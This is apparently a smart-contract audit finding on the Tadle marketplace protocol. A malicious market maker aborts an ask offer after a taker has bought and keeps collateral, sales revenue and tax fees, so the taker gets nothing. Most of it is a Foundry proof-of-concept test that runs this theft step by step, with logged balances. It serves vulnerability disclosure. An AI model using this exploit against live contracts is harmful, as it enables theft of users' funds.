Tadle allows users to create and trade offers in a decentralized marketplace. The protocol permits market makers to close or abort offers they have created before any trading activity occurs. However, a vulnerability in the createOffer(...)
and createTaker(...)
functions enables a malicious market maker to exploit this process by creating an offer, waiting for a taker to trade on it, and then aborting the offer to reclaim the funds. The market maker can further profit by collecting tax and bounce fees, leaving the taker with nothing. Additionally, the remaining funds in the CapitalPool
contract are insufficient to cover all potential losses, making this attack particularly damaging to the ecosystem.
pragma solidity ^0.8.13;
import {Test, console2} from "forge-std/Test.sol";
import {SystemConfig} from "../src/core/SystemConfig.sol";
import {CapitalPool} from "../src/core/CapitalPool.sol";
import {TokenManager} from "../src/core/TokenManager.sol";
import {PreMarktes} from "../src/core/PreMarkets.sol";
import {DeliveryPlace} from "../src/core/DeliveryPlace.sol";
import {TadleFactory} from "../src/factory/TadleFactory.sol";
import {
OfferStatus,
StockStatus,
AbortOfferStatus,
OfferType,
StockType,
OfferSettleType
} from "../src/storage/OfferStatus.sol";
import {IPerMarkets, OfferInfo, StockInfo, MakerInfo, CreateOfferParams} from "../src/interfaces/IPerMarkets.sol";
import {TokenBalanceType, ITokenManager} from "../src/interfaces/ITokenManager.sol";
import {GenerateAddress} from "../src/libraries/GenerateAddress.sol";
import {MockERC20Token} from "./mocks/MockERC20Token.sol";
import {WETH9} from "./mocks/WETH9.sol";
import {UpgradeableProxy} from "../src/proxy/UpgradeableProxy.sol";
contract PreMarketsTest is Test {
SystemConfig systemConfig;
CapitalPool capitalPool;
TokenManager tokenManager;
PreMarktes preMarktes;
DeliveryPlace deliveryPlace;
address marketPlace;
WETH9 weth9;
MockERC20Token mockUSDCToken;
MockERC20Token mockPointToken;
address attacker = vm.addr(1);
address marketMaker = vm.addr(2);
address marketTaker = vm.addr(6);
address user2 = vm.addr(3);
address user3 = vm.addr(4);
address owner = vm.addr(5);
uint256 basePlatformFeeRate = 5_000;
uint256 baseReferralRate = 300_000;
bytes4 private constant INITIALIZE_OWNERSHIP_SELECTOR = bytes4(keccak256(bytes("initializeOwnership(address)")));
function setUp() public {
weth9 = new WETH9();
TadleFactory tadleFactory = new TadleFactory(owner);
mockUSDCToken = new MockERC20Token();
mockPointToken = new MockERC20Token();
SystemConfig systemConfigLogic = new SystemConfig();
CapitalPool capitalPoolLogic = new CapitalPool();
TokenManager tokenManagerLogic = new TokenManager();
PreMarktes preMarktesLogic = new PreMarktes();
DeliveryPlace deliveryPlaceLogic = new DeliveryPlace();
bytes memory deploy_data = abi.encodeWithSelector(INITIALIZE_OWNERSHIP_SELECTOR, owner);
vm.startPrank(owner);
address systemConfigProxy =
tadleFactory.deployUpgradeableProxy(1, address(systemConfigLogic), bytes(deploy_data));
address preMarktesProxy = tadleFactory.deployUpgradeableProxy(2, address(preMarktesLogic), bytes(deploy_data));
address deliveryPlaceProxy =
tadleFactory.deployUpgradeableProxy(3, address(deliveryPlaceLogic), bytes(deploy_data));
address capitalPoolProxy = tadleFactory.deployUpgradeableProxy(4, address(capitalPoolLogic), bytes(deploy_data));
address tokenManagerProxy =
tadleFactory.deployUpgradeableProxy(5, address(tokenManagerLogic), bytes(deploy_data));
systemConfig = SystemConfig(systemConfigProxy);
capitalPool = CapitalPool(capitalPoolProxy);
tokenManager = TokenManager(tokenManagerProxy);
preMarktes = PreMarktes(preMarktesProxy);
deliveryPlace = DeliveryPlace(deliveryPlaceProxy);
systemConfig.initialize(basePlatformFeeRate, baseReferralRate);
tokenManager.initialize(address(weth9));
address[] memory tokenAddressList = new address[](2);
tokenAddressList[0] = address(mockUSDCToken);
tokenAddressList[1] = address(weth9);
tokenManager.updateTokenWhiteListed(tokenAddressList, true);
systemConfig.createMarketPlace("Backpack", false);
vm.stopPrank();
deal(address(mockUSDCToken), attacker, 100000000 * 10 ** 18);
deal(attacker, 100000000 * 10 ** 18);
deal(address(mockUSDCToken), marketTaker, 10350000000000000);
deal(marketTaker, 12 * 10 ** 18);
deal(address(mockUSDCToken), marketMaker, 12000000000000000);
deal(address(mockUSDCToken), user2, 100000000 * 10 ** 18);
deal(address(mockUSDCToken), user3, 100000000 * 10 ** 18);
deal(address(mockPointToken), user2, 100000000 * 10 ** 18);
marketPlace = GenerateAddress.generateMarketPlaceAddress("Backpack");
vm.warp(1719826275);
vm.prank(attacker);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
vm.prank(marketTaker);
mockUSDCToken.approve(address(marketTaker), type(uint256).max);
vm.prank(marketMaker);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
vm.startPrank(user2);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
mockPointToken.approve(address(tokenManager), type(uint256).max);
vm.stopPrank();
capitalPool.approve(address(mockUSDCToken));
}
function test_malicious_market_maker_can_steal_taker_fund() public {
address stockAddr = GenerateAddress.generateStockAddress(0);
address offerAddr = GenerateAddress.generateOfferAddress(0);
vm.startPrank(marketMaker);
preMarktes.createOffer(
CreateOfferParams(
marketPlace, address(mockUSDCToken), 500, 0.01 * 1e18, 12000, 300, OfferType.Ask, OfferSettleType.Turbo
)
);
vm.stopPrank();
console2.log("Before any activities");
walletBalance 0
RefundAmount 0
TaxAmount 0
SalesRevenueAmount 0
BounceAmount 0
PointTokenAmount 0
RemainingCashAmount 0
*/
log_claimable_per_address(marketMaker);
vm.startPrank(marketTaker);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
preMarktes.createTaker(offerAddr, 500);
vm.stopPrank();
console2.log("After taker creation");
console2.log("Market Maker");
walletBalance 0
RefundAmount 0
TaxAmount 300000000000000
SalesRevenueAmount 10000000000000000
BounceAmount 0
PointTokenAmount 0
RemainingCashAmount 0
*/
log_claimable_per_address(marketMaker);
console2.log("Market Taker");
walletBalance 0
RefundAmount 0
TaxAmount 0
SalesRevenueAmount 0
BounceAmount 0
PointTokenAmount 0
RemainingCashAmount 0
*/
log_claimable_per_address(marketTaker);
vm.prank(marketMaker);
preMarktes.abortAskOffer(stockAddr, offerAddr);
console2.log("After maker abort ask offer");
console2.log("Market Maker");
walletBalance 0
RefundAmount 2000000000000000
TaxAmount 300000000000000
SalesRevenueAmount 10000000000000000
BounceAmount 0
PointTokenAmount 0
RemainingCashAmount 0
@audit : so the wallet started with :
collateral 12000000000000000
but after the attack it has
tax 300000000000000
sales revenue 10000000000000000
refund amount 2000000000000000
total 12300000000000000
total profit 12300000000000000 - 12000000000000000 = 300000000000000
@notice : this is without counting if there's any referral bonus
contractBalance 10050000000000000
*/
log_claimable_per_address(marketMaker);
console2.log("Market Taker");
@audit taker gets nothing !!
walletBalance 0
RefundAmount 0
TaxAmount 0
SalesRevenueAmount 0
BounceAmount 0
PointTokenAmount 0
RemainingCashAmount 0
*/
log_claimable_per_address(marketTaker);
uint256 contractBalance = mockUSDCToken.balanceOf(address(capitalPool));
console2.log("contract Balance", contractBalance);
vm.startPrank(marketMaker);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.MakerRefund);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.TaxIncome);
vm.stopPrank();
console2.log("After taker abort the bid");
console2.log("Market Maker");
@audit : ignore the fact that the claimable amounts are not reset as it's reported in a separate issue
walletBalance 12300000000000000
RefundAmount 2000000000000000
TaxAmount 300000000000000
SalesRevenueAmount 10000000000000000
BounceAmount 0
PointTokenAmount 0
RemainingCashAmount 0
*/
log_claimable_per_address(marketMaker);
console2.log("Market Taker");
log_claimable_per_address(marketTaker);
contractBalance = mockUSDCToken.balanceOf(address(capitalPool));
console2.log("contractBalance", contractBalance);
vm.stopPrank();
vm.startPrank(marketTaker);
address stock1Addr = GenerateAddress.generateStockAddress(1);
preMarktes.abortBidTaker(stock1Addr, offerAddr);
vm.stopPrank();
console2.log("After taker abort the bid");
console2.log("Market Taker");
log_claimable_per_address(marketTaker);
walletBalance 0
RefundAmount 0
TaxAmount 0
SalesRevenueAmount 0
BounceAmount 0
PointTokenAmount 0
RemainingCashAmount 0
*/
}
function log_claimable_per_address(address wallet) private {
uint256 walletBalance = mockUSDCToken.balanceOf(wallet);
uint256 RefundAmount =
tokenManager.userTokenBalanceMap(wallet, address(mockUSDCToken), TokenBalanceType.MakerRefund);
uint256 TaxAmount = tokenManager.userTokenBalanceMap(wallet, address(mockUSDCToken), TokenBalanceType.TaxIncome);
uint256 SalesRevenueAmount =
tokenManager.userTokenBalanceMap(wallet, address(mockUSDCToken), TokenBalanceType.SalesRevenue);
uint256 BounceAmount =
tokenManager.userTokenBalanceMap(wallet, address(mockUSDCToken), TokenBalanceType.ReferralBonus);
uint256 PointTokenAmount =
tokenManager.userTokenBalanceMap(wallet, address(mockUSDCToken), TokenBalanceType.PointToken);
uint256 RemainingCashAmount =
tokenManager.userTokenBalanceMap(wallet, address(mockUSDCToken), TokenBalanceType.RemainingCash);
console2.log("logging claimable status for wallet %s ", wallet);
console2.log("walletBalance", walletBalance);
console2.log("RefundAmount", RefundAmount);
console2.log("TaxAmount", TaxAmount);
console2.log("SalesRevenueAmount", SalesRevenueAmount);
console2.log("BounceAmount", BounceAmount);
console2.log("PointTokenAmount", PointTokenAmount);
console2.log("RemainingCashAmount", RemainingCashAmount);
}
}
This vulnerability enables a malicious market maker to steal a taker's funds by creating an offer, waiting for the taker to accept it, and then aborting the offer to reclaim the funds. The market maker can further increase their profit by collecting tax fees and bounce fees (if eligible), while the taker receives nothing. Although the protocol has a rescue(...)
function that could theoretically return the taker's funds, the contract does not have sufficient funds to cover all potential losses, making this attack particularly profitable and harmful to the ecosystem.